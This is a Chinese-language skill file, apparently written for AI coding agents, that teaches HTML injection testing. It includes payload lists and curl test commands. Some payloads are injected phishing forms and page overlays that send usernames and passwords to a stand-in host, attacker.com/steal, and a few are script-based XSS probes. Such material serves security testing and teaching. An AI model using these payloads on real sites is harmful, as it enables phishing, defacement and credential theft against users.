
关于
识别和利用 HTML 注入漏洞,攻击者可通过该漏洞向 Web 应用注入恶意 HTML 内容。此漏洞可修改页面外观、创建钓鱼页面并通过注入表单窃取用户凭据。
name: html-injection-testing description: "识别和利用 HTML 注入漏洞,该漏洞允许攻击者向 Web 应用程序注入恶意 HTML 内容。此漏洞使攻击者能够修改页面外观、创建钓鱼页面,并通过注入的表单窃取用户凭据。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:仅在授权安全评估、防御验证或受控教育环境中使用此技能。
HTML 注入测试
目的
识别和利用 HTML 注入漏洞,该漏洞允许攻击者向 Web 应用程序注入恶意 HTML 内容。此漏洞使攻击者能够修改页面外观、创建钓鱼页面,并通过注入的表单窃取用户凭据。
前提条件
所需工具
- 带开发者工具的 Web 浏览器
- Burp Suite 或 OWASP ZAP
- Tamper Data 或类似代理工具
- cURL 用于测试载荷
所需知识
- HTML 基础
- HTTP 请求/响应结构
- Web 应用程序输入处理
- HTML 注入与 XSS 的区别
输出与交付物
- 漏洞报告 - 已识别的注入点
- 利用证明 - 演示内容篡改
- 影响评估 - 潜在的钓鱼和篡改风险
- 修复指南 - 输入验证建议
核心工作流
阶段 1:理解 HTML 注入
HTML 注入发生在用户输入未经适当清理就反映在网页中时:
<!-- 存在漏洞的代码示例 -->
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- 攻击输入 -->
?name=<h1>Injected Content</h1>
<!-- 渲染输出 -->
<div>
Welcome, <h1>Injected Content</h1>
</div>
与 XSS 的关键区别:
- HTML 注入:仅渲染 HTML 标签
- XSS:执行 JavaScript 代码
- HTML 注入通常是 XSS 的跳板
攻击目标:
- 修改网站外观(篡改)
- 创建虚假登录表单(钓鱼)
- 注入恶意链接
- 显示误导性内容
阶段 2:识别注入点
映射应用程序的潜在注入面:
1. 搜索栏和搜索结果
2. 评论区
3. 用户资料字段
4. 联系表单和反馈
5. 注册表单
6. 反映在页面上的 URL 参数
7. 错误消息
8. 页面标题和头部
9. 隐藏表单字段
10. 反映在页面上的 Cookie 值
常见的易受攻击参数:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
阶段 3:基础 HTML 注入测试
使用简单 HTML 标签测试:
<!-- 基础文本格式化 -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- 结构元素 -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- 链接 -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- 图片 -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)"> <!-- XSS 尝试 -->
测试工作流:
# 测试基础注入
curl "http://target.com/search?q=<h1>Test</h1>"
# 检查 HTML 是否在响应中渲染
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# 以 URL 编码形式测试
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
阶段 4:HTML 注入类型
存储型 HTML 注入
载荷持久化存储在数据库中:
<!-- 个人资料注入 -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
<!-- 评论注入 -->
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
反射型 GET 注入
载荷在 URL 参数中:
<!-- URL 注入 -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- 搜索结果注入 -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
反射型 POST 注入
载荷在 POST 数据中:
# POST 注入测试
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# 表单字段注入
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
基于 URL 的注入
注入到显示的 URL 中:
<!-- 如果 URL 显示在页面上 -->
http://target.com/page/<h1>Injected</h1>
<!-- 基于路径的注入
兼容工具
Claude CodeCursor
标签
安全
